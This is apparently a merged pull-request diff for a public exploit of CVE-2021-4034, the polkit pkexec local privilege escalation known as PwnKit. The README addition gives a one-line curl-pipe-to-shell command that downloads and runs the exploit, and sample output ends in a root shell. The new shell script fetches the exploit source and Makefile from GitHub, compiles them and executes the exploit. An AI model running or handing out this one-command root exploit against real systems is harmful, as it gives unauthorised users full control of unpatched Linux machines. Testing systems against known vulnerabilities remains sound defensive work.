Merge pull request #18 from berdav/pr-12-one-line-root

one line root with fixes

README.md

@@ -62,3 +62,23 @@ vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
 ## About Polkit pkexec for Linux
 
 Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
+
+
+# One command root
+
+You can easily exploit the system using a single script, downloadable and executable with this command:
+
+`curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh | sh`
+
+```bash
+vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
+vagrant
+vagrant@ubuntu-impish:~/CVE-2021-4034$ curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh | sh
+cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
+cc -Wall    cve-2021-4034.c   -o cve-2021-4034
+echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
+mkdir -p GCONV_PATH=.
+cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
+# whoami
+root
+```

cve-2021-4034.sh

@@ -0,0 +1,16 @@
+#!/usr/bin/env sh
+
+set -e
+
+URL='https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/'
+
+for EXPLOIT in "${URL}/cve-2021-4034.c" \
+               "${URL}/pwnkit.c" \
+               "${URL}/Makefile"
+do
+    curl -sLO "$EXPLOIT" || wget --no-hsts -q "$EXPLOIT" -O "${EXPLOIT##*/}"
+done
+
+make
+
+./cve-2021-4034